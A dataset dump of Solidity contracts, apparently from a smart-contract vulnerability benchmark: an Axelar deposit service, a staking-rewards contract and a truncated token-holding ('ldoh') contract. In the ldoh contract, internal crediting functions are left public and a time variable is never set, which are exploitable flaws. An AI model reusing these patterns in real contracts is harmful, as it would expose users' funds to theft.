function depositAddressForWithdrawNative(bytes32 salt, address recipient) external view returns (address);
function sendToken(bytes32 salt,
string calldata destinationChain,
string calldata destinationAddress,
string calldata tokenSymbol) external;
function sendNative(bytes32 salt,
string calldata destinationChain,
string calldata destinationAddress) external;
function withdrawNative(bytes32 salt, address payable recipient) external;
}
// File contracts/interfaces/IAxelarGateway.sol
interface IAxelarGateway {
error NotSelf();
error NotProxy();
error InvalidCodeHash();
error SetupFailed();
error InvalidAuthModule();
error InvalidTokenDeployer();
error InvalidAmount();
error InvalidChainId();
error InvalidCommands();
error TokenDoesNotExist(string symbol);
error TokenAlreadyExists(string symbol);
error TokenDeployFailed(string symbol);
error TokenContractDoesNotExist(address token);
error BurnFailed(string symbol);
error MintFailed(string symbol);
error InvalidSetDailyMintLimitsParams();
error ExceedDailyMintLimit(string symbol);
event TokenSent(address indexed sender, string destinationChain, string destinationAddress, string symbol, uint256 amount);
event ContractCall(address indexed sender,
string destinationChain,
string destinationContractAddress,
bytes32 indexed payloadHash,
bytes payload);
event ContractCallWithToken(address indexed sender,
string destinationChain,
string destinationContractAddress,
bytes32 indexed payloadHash,
bytes payload,
string symbol,
uint256 amount);
event Executed(bytes32 indexed commandId);
event TokenDeployed(string symbol, address tokenAddresses);
event ContractCallApproved(bytes32 indexed commandId,
string sourceChain,
string sourceAddress,
address indexed contractAddress,
bytes32 indexed payloadHash,
bytes32 sourceTxHash,
uint256 sourceEventIndex);
event ContractCallApprovedWithMint(bytes32 indexed commandId,
string sourceChain,
string sourceAddress,
address indexed contractAddress,
bytes32 indexed payloadHash,
string symbol,
uint256 amount,
bytes32 sourceTxHash,
uint256 sourceEventIndex);
event TokenDailyMintLimitUpdated(string symbol, uint256 limit);
event OperatorshipTransferred(bytes newOperatorsData);
event Upgraded(address indexed implementation);
function sendToken(string calldata destinationChain,
string calldata destinationAddress,
string calldata symbol,
uint256 amount) external;
function callContract(string calldata destinationChain,
string calldata contractAddress,
bytes calldata payload) external;
function callContractWithToken(string calldata destinationChain,
string calldata contractAddress,
bytes calldata payload,
string calldata symbol,
uint256 amount) external;
function isContractCallApproved(bytes32 commandId,
string calldata sourceChain,
string calldata sourceAddress,
address contractAddress,
bytes32 payloadHash) external view returns (bool);
function isContractCallAndMintApproved(bytes32 commandId,
string calldata sourceChain,
string calldata sourceAddress,
address contractAddress,
bytes32 payloadHash,
string calldata symbol,
uint256 amount) external view returns (bool);
function validateContractCall(bytes32 commandId,
string calldata sourceChain,
string calldata sourceAddress,
bytes32 payloadHash) external returns (bool);
function validateContractCallAndMint(bytes32 commandId,
string calldata sourceChain,
string calldata sourceAddress,
bytes32 payloadHash,
string calldata symbol,
uint256 amount) external returns (bool);
function tokenDailyMintLimit(string memory symbol) external view returns (uint256);
function tokenDailyMintAmount(string memory symbol) external view returns (uint256);
function allTokensFrozen() external view returns (bool);
function implementation() external view returns (address);
function tokenAddresses(string memory symbol) external view returns (address);
function tokenFrozen(string memory symbol) external view returns (bool);
function isCommandExecuted(bytes32 commandId) external view returns (bool);
function adminEpoch() external view returns (uint256);
function adminThreshold(uint256 epoch) external view returns (uint256);
function admins(uint256 epoch) external view returns (address[] memory);
function setTokenDailyMintLimits(string[] calldata symbols, uint256[] calldata limits) external;
function upgrade(address newImplementation,
bytes32 newImplementationCodeHash,
bytes calldata setupParams) external;
function setup(bytes calldata params) external;
function execute(bytes calldata input) external;
}
// File contracts/interfaces/IERC20.sol
interface IERC20 {
error InvalidAccount();
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/interfaces/IWETH9.sol
// WETH9 specific interface
interface IWETH9 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// File contracts/util/Upgradable.sol
abstract contract Upgradable is IUpgradable {
// bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
// keccak256('owner')
bytes32 internal constant _OWNER_SLOT = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0;
modifier onlyOwner() {
if (owner() != msg.sender) revert NotOwner();
_;
}
function owner() public view returns (address owner_) {
// solhint-disable-next-line no-inline-assembly
assembly {
owner_ := sload(_OWNER_SLOT)
}
}
function transferOwnership(address newOwner) external virtual onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
if (newOwner == address(0)) revert InvalidOwner();
emit OwnershipTransferred(newOwner);
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(_OWNER_SLOT, newOwner)
}
}
function implementation() public view returns (address implementation_) {
// solhint-disable-next-line no-inline-assembly
assembly {
implementation_ := sload(_IMPLEMENTATION_SLOT)
}
}
function upgrade(address newImplementation,
bytes32 newImplementationCodeHash,
bytes calldata params) external override onlyOwner {
if (IUpgradable(newImplementation).contractId() != IUpgradable(this).contractId()) revert InvalidImplementation();
if (newImplementationCodeHash != newImplementation.codehash) revert InvalidCodeHash();
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(abi.encodeWithSelector(this.setup.selector, params));
if (!success) revert SetupFailed();
emit Upgraded(newImplementation);
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(_IMPLEMENTATION_SLOT, newImplementation)
}
}
function setup(bytes calldata data) external override {
// Prevent setup from being called on the implementation
if (implementation() == address(0)) revert NotProxy();
_setup(data);
}
// solhint-disable-next-line no-empty-blocks
function _setup(bytes calldata data) internal virtual {}
}
// File contracts/deposit-service/DepositReceiver.sol
contract DepositReceiver {
error NotOwner();
error NotContract();
address internal _owner;
constructor() {
_owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != _owner) revert NotOwner();
_;
}
function execute(address callee,
uint256 value,
bytes calldata data) external onlyOwner returns (bool success, bytes memory returnData) {
if (callee.code.length == 0) revert NotContract();
// solhint-disable-next-line avoid-low-level-calls
(success, returnData) = callee.call{ value: value }(data);
}
function destroy(address etherDestination) external onlyOwner {
selfdestruct(payable(etherDestination));
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
}
// File contracts/deposit-service/AxelarDepositService.sol
// This should be owned by the microservice that is paying for gas.
contract AxelarDepositService is Upgradable, IAxelarDepositService {
// keccak256('gateway-address')
bytes32 internal constant _GATEWAY_SLOT = 0xf8e5d679403ca38329d1356aeb2f53b4e3a6e4b021834581c8be7443db16066f;
// keccak256('wrapped-token-symbol')
bytes32 internal constant _WRAPPED_TOKEN_SYMBOL_SLOT = 0x91d2f5305ae2a8f5b319f6c3a690eff002c3e572220774ba5f7e957f079e55df;
bytes32 internal constant PREFIX_DEPOSIT_SEND_TOKEN = keccak256('deposit-send-token');
bytes32 internal constant PREFIX_DEPOSIT_SEND_NATIVE = keccak256('deposit-send-native');
bytes32 internal constant PREFIX_DEPOSIT_WITHDRAW_NATIVE = keccak256('deposit-withdraw-native');
function depositAddressForSendToken(bytes32 salt,
string calldata destinationChain,
string calldata destinationAddress,
string calldata tokenSymbol) external view returns (address) {
return _depositAddress(keccak256(abi.encode(PREFIX_DEPOSIT_SEND_TOKEN, salt, destinationChain, destinationAddress, tokenSymbol)));
}
function depositAddressForSendNative(bytes32 salt,
string calldata destinationChain,
string calldata destinationAddress) external view returns (address) {
return _depositAddress(keccak256(abi.encode(PREFIX_DEPOSIT_SEND_NATIVE, salt, destinationChain, destinationAddress)));
}
function depositAddressForWithdrawNative(bytes32 nonce, address recipient) external view returns (address) {
return _depositAddress(keccak256(abi.encode(PREFIX_DEPOSIT_WITHDRAW_NATIVE, nonce, recipient)));
}
function sendToken(bytes32 salt,
string calldata destinationChain,
string calldata destinationAddress,
string calldata tokenSymbol) external {
address gatewayAddress = gateway();
address tokenAddress = IAxelarGateway(gatewayAddress).tokenAddresses(tokenSymbol);
DepositReceiver depositReceiver = new DepositReceiver{
salt: keccak256(abi.encode(PREFIX_DEPOSIT_SEND_TOKEN, salt, destinationChain, destinationAddress, tokenSymbol))
}();
uint256 amount = IERC20(tokenAddress).balanceOf(address(depositReceiver));
if (amount == 0) revert NothingDeposited();
if (!_execute(depositReceiver, tokenAddress, 0, abi.encodeWithSelector(IERC20.approve.selector, gatewayAddress, amount)))
revert ApproveFailed();
bytes memory sendPayload = abi.encodeWithSelector(IAxelarGateway.sendToken.selector,
destinationChain,
destinationAddress,
tokenSymbol,
amount);
if (!_execute(depositReceiver, gatewayAddress, 0, sendPayload)) revert TokenSendFailed();
// NOTE: `depositReceiver` must always be destroyed in the same runtime context that it is deployed.
depositReceiver.destroy(address(this));
}
function sendNative(bytes32 salt,
string calldata destinationChain,
string calldata destinationAddress) external {
DepositReceiver depositReceiver = new DepositReceiver{
salt: keccak256(abi.encode(PREFIX_DEPOSIT_SEND_NATIVE, salt, destinationChain, destinationAddress))
}();
uint256 amount = address(depositReceiver).balance;
if (amount == 0) revert NothingDeposited();
address gatewayAddress = gateway();
string memory symbol = wrappedSymbol();
address wrappedTokenAddress = IAxelarGateway(gatewayAddress).tokenAddresses(symbol);
if (!_execute(depositReceiver, wrappedTokenAddress, amount, abi.encodeWithSelector(IWETH9.deposit.selector))) revert WrapFailed();
if (!_execute(depositReceiver, wrappedTokenAddress, 0, abi.encodeWithSelector(IERC20.approve.selector, gatewayAddress, amount)))
revert ApproveFailed();
bytes memory sendPayload = abi.encodeWithSelector(IAxelarGateway.sendToken.selector,
destinationChain,
destinationAddress,
symbol,
amount);
if (!_execute(depositReceiver, gatewayAddress, 0, sendPayload)) revert TokenSendFailed();
// NOTE: `depositReceiver` must always be destroyed in the same runtime context that it is deployed.
depositReceiver.destroy(address(this));
}
function withdrawNative(bytes32 salt, address payable recipient) external {
address token = wrappedToken();
DepositReceiver depositReceiver = new DepositReceiver{
salt: keccak256(abi.encode(PREFIX_DEPOSIT_WITHDRAW_NATIVE, salt, recipient))
}();
uint256 amount = IERC20(token).balanceOf(address(depositReceiver));
if (amount == 0) revert NothingDeposited();
if (!_execute(depositReceiver, token, 0, abi.encodeWithSelector(IWETH9.withdraw.selector, amount))) revert UnwrapFailed();
// NOTE: `depositReceiver` must always be destroyed in the same runtime context that it is deployed.
depositReceiver.destroy(recipient);
}
function gateway() public view returns (address gatewayAddress) {
// solhint-disable-next-line no-inline-assembly
assembly {
gatewayAddress := sload(_GATEWAY_SLOT)
}
}
function wrappedToken() public view returns (address) {
return IAxelarGateway(gateway()).tokenAddresses(wrappedSymbol());
}
function wrappedSymbol() public view returns (string memory symbol) {
bytes32 symbolData;
// solhint-disable-next-line no-inline-assembly
assembly {
symbolData := sload(_WRAPPED_TOKEN_SYMBOL_SLOT)
}
// recovering string length as the last 2 bytes of the data
uint256 length = 0xff & uint256(symbolData);
// restoring the string with the correct length
// solhint-disable-next-line no-inline-assembly
assembly {
symbol := mload(0x40)
// new "memory end" including padding (the string isn't larger than 32 bytes)
mstore(0x40, add(symbol, 0x40))
// store length in memory
mstore(symbol, length)
// write actual data
mstore(add(symbol, 0x20), symbolData)
}
}
function _depositAddress(bytes32 create2Salt) internal view returns (address) {
/* Convert a hash which is bytes32 to an address which is 20-byte long
according to https:
return
address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff),
address(this),
create2Salt,
keccak256(abi.encodePacked(type(DepositReceiver).creationCode)))))));
}
function _execute(DepositReceiver depositReceiver,
address callee,
uint256 nativeValue,
bytes memory payload) internal returns (bool) {
(bool success, bytes memory returnData) = depositReceiver.execute(callee, nativeValue, payload);
return success && (returnData.length == uint256(0) || abi.decode(returnData, (bool)));
}
function contractId() public pure returns (bytes32) {
return keccak256('axelar-deposit-service');
}
function _setup(bytes calldata data) internal override {
(address gatewayAddress, string memory symbol) = abi.decode(data, (address, string));
if (gatewayAddress == address(0)) revert InvalidAddress();
if (IAxelarGateway(gatewayAddress).tokenAddresses(symbol) == address(0)) revert InvalidSymbol();
bytes memory symbolBytes = bytes(symbol);
if (symbolBytes.length == 0 || symbolBytes.length > 30) revert InvalidSymbol();
uint256 symbolNumber = uint256(bytes32(symbolBytes));
// storing string length as last 2 bytes of the data
symbolNumber |= 0xff & symbolBytes.length;
bytes32 symbolData = bytes32(abi.encodePacked(symbolNumber));
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(_GATEWAY_SLOT, gatewayAddress)
sstore(_WRAPPED_TOKEN_SYMBOL_SLOT, symbolData)
}
}
}
| 101,915 | 10,520 |
aaf1a668c9bbb2f4b9cbf7d9a8acd03e5a05ee5712cc959ddc33fa20b1a0adbb
| 22,377 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xD97589B07F2D861dA1a19e6501d262520E3b65c5/contract.sol
| 3,496 | 13,499 |
pragma solidity ^0.5.16;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
interface IStakingRewardsFactory {
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract RewardsDistributionRecipient {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
address public factory;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
uint256 _rewardsDuration) public {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration * 1 days;
factory = msg.sender;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
// permit
INyanswopERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
address feeTo = IStakingRewardsFactory(factory).feeTo();
bool feeOn = feeTo != address(0);
if (feeOn) {
uint256 devFund = reward.div(10);
rewardsToken.safeTransfer(feeTo, devFund);
emit RewardPaid(feeTo, devFund);
}
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
}
interface INyanswopERC20 {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
| 251,769 | 10,521 |
1b7dedf3479ac48617bc37b578def26ef499b7cbd76d11edc2cf25d5ba7b983b
| 18,262 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x89891ce93bc8ba031f91699a82c068eab1e3a0c5.sol
| 5,912 | 17,614 |
pragma solidity ^0.4.25;
contract EthereumSmartContract {
address EthereumNodes;
constructor() public {
EthereumNodes = msg.sender;
}
modifier restricted() {
require(msg.sender == EthereumNodes);
_;
}
function GetEthereumNodes() public view returns (address owner) { return EthereumNodes; }
}
contract ldoh is EthereumSmartContract {
event onCashbackCode (address indexed hodler, address cashbackcode);
event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime);
struct Safe {
uint256 id;
uint256 amount;
uint256 endtime;
address user;
address tokenAddress;
string tokenSymbol;
uint256 amountbalance;
uint256 cashbackbalance;
uint256 lasttime;
uint256 percentage;
uint256 percentagereceive;
uint256 tokenreceive;
uint256 lastwithdraw;
address referrer;
bool cashbackstatus;
}
uint256 public nowtime;
uint256 private idnumber;
uint256 public TotalUser;
mapping(address => address) public cashbackcode;
mapping(address => uint256[]) public idaddress;
mapping(address => address[]) public afflist;
mapping(address => string) public ContractSymbol;
mapping(uint256 => Safe) private _safes;
mapping(address => bool) public contractaddress;
mapping (address => mapping (uint256 => uint256)) public Bigdata;
mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics;
address public Holdplatform_address;
uint256 public Holdplatform_balance;
mapping(address => uint256) public Holdplatform_status;
mapping(address => mapping (uint256 => uint256)) public Holdplatform_divider;
constructor() public {
idnumber = 500;
Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e;
}
function () public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothemoon() public payable {
if (msg.value == 0) {
tothe_moon();
} else { revert(); }
}
function tothe_moon() private {
for(uint256 i = 1; i < idnumber; i++) {
Safe storage s = _safes[i];
if (s.user == msg.sender) {
Unlocktoken(s.tokenAddress, s.id);
if (Statistics[s.user][s.tokenAddress][3] > 0) {
WithdrawAffiliate(s.user, s.tokenAddress);
}
}
}
}
function CashbackCode(address _cashbackcode) public {
require(_cashbackcode != msg.sender);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1) {
cashbackcode[msg.sender] = _cashbackcode; }
else { cashbackcode[msg.sender] = EthereumNodes; }
emit onCashbackCode(msg.sender, _cashbackcode);
}
function Holdplatform(address tokenAddress, uint256 amount) public {
require(amount >= 1);
uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount);
require(holdamount <= Bigdata[tokenAddress][5]);
if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000) {
cashbackcode[msg.sender] = EthereumNodes;
}
if (Bigdata[msg.sender][18] == 0) {
Bigdata[msg.sender][18] = now;
}
if (contractaddress[tokenAddress] == false) { revert(); } else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
HodlTokens2(tokenAddress, amount);
Airdrop(tokenAddress, amount, 1);
}
}
function HodlTokens2(address ERC, uint256 amount) public {
address ref = cashbackcode[msg.sender];
address ref2 = EthereumNodes;
uint256 ReferrerContribution = Statistics[ref][ERC][5];
uint256 ReferralContribution = Statistics[msg.sender][ERC][5];
uint256 MyContribution = add(ReferralContribution, amount);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0) {
uint256 nodecomission = div(mul(amount, 28), 100);
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission);
} else {
uint256 affcomission = div(mul(amount, 12), 100);
if (ReferrerContribution >= MyContribution) {
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission);
} else {
if (ReferrerContribution > ReferralContribution) {
if (amount <= add(ReferrerContribution,ReferralContribution)) {
uint256 AAA = sub(ReferrerContribution, ReferralContribution);
uint256 affcomission2 = div(mul(AAA, 12), 100);
uint256 affcomission3 = sub(affcomission, affcomission2);
} else {
uint256 BBB = sub(sub(amount, ReferrerContribution), ReferralContribution);
affcomission3 = div(mul(BBB, 12), 100);
affcomission2 = sub(affcomission, affcomission3); }
} else { affcomission2 = 0; affcomission3 = affcomission; }
Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission2);
Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission2);
Statistics[ref2][ERC][3] = add(Statistics[ref2][ERC][3], affcomission3);
Statistics[ref2][ERC][4] = add(Statistics[ref2][ERC][4], affcomission3);
}
}
HodlTokens3(ERC, amount, ref);
}
function HodlTokens3(address ERC, uint256 amount, address ref) public {
uint256 AvailableBalances = div(mul(amount, 72), 100);
if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0)
{ uint256 AvailableCashback = 0; } else { AvailableCashback = div(mul(amount, 16), 100);}
ERC20Interface token = ERC20Interface(ERC);
uint256 TokenPercent = Bigdata[ERC][1];
uint256 TokenHodlTime = Bigdata[ERC][2];
uint256 HodlTime = add(now, TokenHodlTime);
uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback;
amount = 0; AvailableBalances = 0; AvailableCashback = 0;
_safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false);
Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM);
Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM);
Bigdata[ERC][6] = add(Bigdata[ERC][6], AM);
Bigdata[ERC][3] = add(Bigdata[ERC][3], AM);
if(Bigdata[msg.sender][8] == 1) {
idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; }
else {
afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; }
Bigdata[msg.sender][8] = 1;
emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime);
}
function Unlocktoken(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
require(s.tokenAddress == tokenAddress);
if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); }
}
function UnlockToken2(address ERC, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == ERC);
uint256 eventAmount = s.amountbalance;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < nowtime){
uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance);
